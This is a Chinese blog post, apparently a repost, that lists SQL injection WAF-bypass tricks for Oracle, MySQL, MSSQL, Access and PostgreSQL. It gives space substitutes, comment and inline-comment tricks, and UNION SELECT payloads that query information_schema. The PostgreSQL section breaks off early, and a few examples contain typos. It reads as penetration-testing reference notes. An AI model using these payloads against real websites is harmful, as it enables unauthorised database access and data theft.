数据库语法整理及WAF绕过方式

数据库语法整理及WAF绕过方式

原文链接请点击:https://www.cnblogs.com/ruoli-s/p/15355611.html

关系型数据库

关系型数据库:指采用了关系模型来组织数据的数据库。

直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织

当今主流的关系型数据库有:OracleMicrosoft SQL ServerMySQLPostgreSQLDB2Microsoft AccessSQLiteMariaDB

Oracle

Oracle特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name()from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可利用其他符号:.
  • 位置二

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
  • 位置三

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可利用其他符号:+-%ad
  • 位置四

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
  • 位置五

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可插入字符:%24、`%30-%ff

MySQL

MySql语法:

  • 绕过逗号过滤
原码:union select 1,2,3,4;
绕过:union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d;

MySql特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name()from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
    Select/**/*/**/from/**/[dbo].[Users]/**/where id =1
    
    • 可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N
  • 位置二

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
    • 可利用括号 :union(select 1,2)
  • 位置三

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
    • 可利用其他符号:+-~@
  • 位置四

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    • 可利用注释符号:/**/#--+

    • 可利用数学运算以及数据类型:union select user(),2.0from admin

      ​ union select user(),8e0from admin

      ​ union select user(),\Nfrom admin

  • 位置五

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
  • 全局位置

    • 可利用 反引号 号:
    union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)
    
    • 可利用内联注释:
    union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)
    
    • 可利用{}号:
    id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
    
    • 可利用()号:
    id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
    

MSSQL

MSSQL特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name()from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F
    • 可利用注释符号:/**/
    • 可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1
  • 位置二

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F
    • 可利用注释符号:/**/
    • 可利用冒号:union:slect
  • 位置三

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F
    • 可利用注释符号:/**/
    • 可利用其他符号:+-~:.
  • 位置四

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F

    • 可利用注释符号:/**/

    • 可利用其他字符:%80~%FF

  • 位置五

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F

    • 可利用注释符号:/**/

    • 可利用冒号:union:select

    • 可利用其他字符::.%80~%FF

Access

Access特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name()from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:%09%0a%0c%0d%16
  • 位置二

    • 可利用其他控制字符替换空格:%09%0a%0c%0d
  • 位置三

    • 可利用其他控制字符替换空格:%09%0a%0c%0d
    • 可利用其他符号:+-.=
  • 位置四

    • 可利用其他控制字符替换空格:%09%0a%0c%0d
  • 位置五

    • 可利用其他控制字符替换空格:%09%0a%0c%0d

PostgreSQL

数据库特性

  • Postgresql 字符串
    • Postgres 输入的所有字符串都被认为是 Unknown 类型
  • Unknown 类型有两种输入模式:
    • 单引号转义模式;
    • 美元符逃逸模式;
  • 在单引号转义模式中允许使用前缀 E/U/B/X 表示转义字符串/Unicode 字符串/位串。
    • 其中 E 表示进行 C 语言风格的转义;
    • U 表示进行 Unicode 转义,并支持自定义转义符;
    • B 和 X 代表后续跟随的是一个 bit 序列;

PostgreSQL特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name()from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值